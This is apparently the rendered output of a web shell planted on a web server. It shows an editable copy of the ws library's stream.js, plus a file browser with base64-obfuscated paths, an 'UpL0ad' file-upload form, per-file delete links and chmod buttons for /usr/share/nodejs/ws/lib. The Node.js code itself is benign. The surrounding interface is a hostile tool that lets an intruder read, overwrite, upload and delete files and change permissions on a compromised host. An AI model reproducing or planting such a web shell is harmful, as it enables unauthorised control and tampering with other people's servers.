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<hr>stream.js<form method=post action="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=c3RyZWFtLmpz"><input name="f" value="stream.js"><textarea name="t">'use strict';

const { Duplex } = require('stream');

/**
 * Emits the `'close'` event on a stream.
 *
 * @param {Duplex} stream The stream.
 * @private
 */
function emitClose(stream) {
  stream.emit('close');
}

/**
 * The listener of the `'end'` event.
 *
 * @private
 */
function duplexOnEnd() {
  if (!this.destroyed &amp;&amp; this._writableState.finished) {
    this.destroy();
  }
}

/**
 * The listener of the `'error'` event.
 *
 * @param {Error} err The error
 * @private
 */
function duplexOnError(err) {
  this.removeListener('error', duplexOnError);
  this.destroy();
  if (this.listenerCount('error') === 0) {
    // Do not suppress the throwing behavior.
    this.emit('error', err);
  }
}

/**
 * Wraps a `WebSocket` in a duplex stream.
 *
 * @param {WebSocket} ws The `WebSocket` to wrap
 * @param {Object} [options] The options for the `Duplex` constructor
 * @return {Duplex} The duplex stream
 * @public
 */
function createWebSocketStream(ws, options) {
  let terminateOnDestroy = true;

  const duplex = new Duplex({
    ...options,
    autoDestroy: false,
    emitClose: false,
    objectMode: false,
    writableObjectMode: false
  });

  ws.on('message', function message(msg, isBinary) {
    const data =
      !isBinary &amp;&amp; duplex._readableState.objectMode ? msg.toString() : msg;

    if (!duplex.push(data)) ws.pause();
  });

  ws.once('error', function error(err) {
    if (duplex.destroyed) return;

    // Prevent `ws.terminate()` from being called by `duplex._destroy()`.
    //
    // - If the `'error'` event is emitted before the `'open'` event, then
    //   `ws.terminate()` is a noop as no socket is assigned.
    // - Otherwise, the error is re-emitted by the listener of the `'error'`
    //   event of the `Receiver` object. The listener already closes the
    //   connection by calling `ws.close()`. This allows a close frame to be
    //   sent to the other peer. If `ws.terminate()` is called right after this,
    //   then the close frame might not be sent.
    terminateOnDestroy = false;
    duplex.destroy(err);
  });

  ws.once('close', function close() {
    if (duplex.destroyed) return;

    duplex.push(null);
  });

  duplex._destroy = function (err, callback) {
    if (ws.readyState === ws.CLOSED) {
      callback(err);
      process.nextTick(emitClose, duplex);
      return;
    }

    let called = false;

    ws.once('error', function error(err) {
      called = true;
      callback(err);
    });

    ws.once('close', function close() {
      if (!called) callback(err);
      process.nextTick(emitClose, duplex);
    });

    if (terminateOnDestroy) ws.terminate();
  };

  duplex._final = function (callback) {
    if (ws.readyState === ws.CONNECTING) {
      ws.once('open', function open() {
        duplex._final(callback);
      });
      return;
    }

    // If the value of the `_socket` property is `null` it means that `ws` is a
    // client websocket and the handshake failed. In fact, when this happens, a
    // socket is never assigned to the websocket. Wait for the `'error'` event
    // that will be emitted by the websocket.
    if (ws._socket === null) return;

    if (ws._socket._writableState.finished) {
      callback();
      if (duplex._readableState.endEmitted) duplex.destroy();
    } else {
      ws._socket.once('finish', function finish() {
        // `duplex` is not destroyed here because the `'end'` event will be
        // emitted on `duplex` after this `'finish'` event. The EOF signaling
        // `null` chunk is, in fact, pushed when the websocket emits `'close'`.
        callback();
      });
      ws.close();
    }
  };

  duplex._read = function () {
    if (ws.isPaused) ws.resume();
  };

  duplex._write = function (chunk, encoding, callback) {
    if (ws.readyState === ws.CONNECTING) {
      ws.once('open', function open() {
        duplex._write(chunk, encoding, callback);
      });
      return;
    }

    ws.send(chunk, callback);
  };

  duplex.on('end', duplexOnEnd);
  duplex.on('error', duplexOnError);
  return duplex;
}

module.exports = createWebSocketStream;
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/share/nodejs/ws/lib<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3M="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=YnVmZmVyLXV0aWwuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=YnVmZmVyLXV0aWwuanM="/>buffer-util.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=YnVmZmVyLXV0aWwuanM=&c=`+btoa(c):0" value="0644"></td><td>2971</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=Y29uc3RhbnRzLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=Y29uc3RhbnRzLmpz"/>constants.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=Y29uc3RhbnRzLmpz&c=`+btoa(c):0" value="0644"></td><td>360</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=ZXZlbnQtdGFyZ2V0Lmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=ZXZlbnQtdGFyZ2V0Lmpz"/>event-target.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=ZXZlbnQtdGFyZ2V0Lmpz&c=`+btoa(c):0" value="0644"></td><td>7321</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=ZXh0ZW5zaW9uLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=ZXh0ZW5zaW9uLmpz"/>extension.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=ZXh0ZW5zaW9uLmpz&c=`+btoa(c):0" value="0644"></td><td>6183</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=bGltaXRlci5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=bGltaXRlci5qcw=="/>limiter.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=bGltaXRlci5qcw==&c=`+btoa(c):0" value="0644"></td><td>1034</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=cGVybWVzc2FnZS1kZWZsYXRlLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=cGVybWVzc2FnZS1kZWZsYXRlLmpz"/>permessage-deflate.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=cGVybWVzc2FnZS1kZWZsYXRlLmpz&c=`+btoa(c):0" value="0644"></td><td>14018</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=cmVjZWl2ZXIuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=cmVjZWl2ZXIuanM="/>receiver.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=cmVjZWl2ZXIuanM=&c=`+btoa(c):0" value="0644"></td><td>14511</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=c2VuZGVyLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=c2VuZGVyLmpz"/>sender.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=c2VuZGVyLmpz&c=`+btoa(c):0" value="0644"></td><td>12668</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=c3RyZWFtLmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=c3RyZWFtLmpz"/>stream.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=c3RyZWFtLmpz&c=`+btoa(c):0" value="0644"></td><td>4083</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=c3VicHJvdG9jb2wuanM=">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=c3VicHJvdG9jb2wuanM="/>subprotocol.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=c3VicHJvdG9jb2wuanM=&c=`+btoa(c):0" value="0644"></td><td>1498</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=dmFsaWRhdGlvbi5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=dmFsaWRhdGlvbi5qcw=="/>validation.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=dmFsaWRhdGlvbi5qcw==&c=`+btoa(c):0" value="0644"></td><td>3192</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=d2Vic29ja2V0LXNlcnZlci5qcw==">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=d2Vic29ja2V0LXNlcnZlci5qcw=="/>websocket-server.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=d2Vic29ja2V0LXNlcnZlci5qcw==&c=`+btoa(c):0" value="0644"></td><td>15828</td></tr><tr><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&x=d2Vic29ja2V0Lmpz">X</a></td><td><a href="?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=d2Vic29ja2V0Lmpz"/>websocket.js</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zaGFyZS9ub2RlanMvd3MvbGli&f=d2Vic29ja2V0Lmpz&c=`+btoa(c):0" value="0644"></td><td>33865</td></tr></table>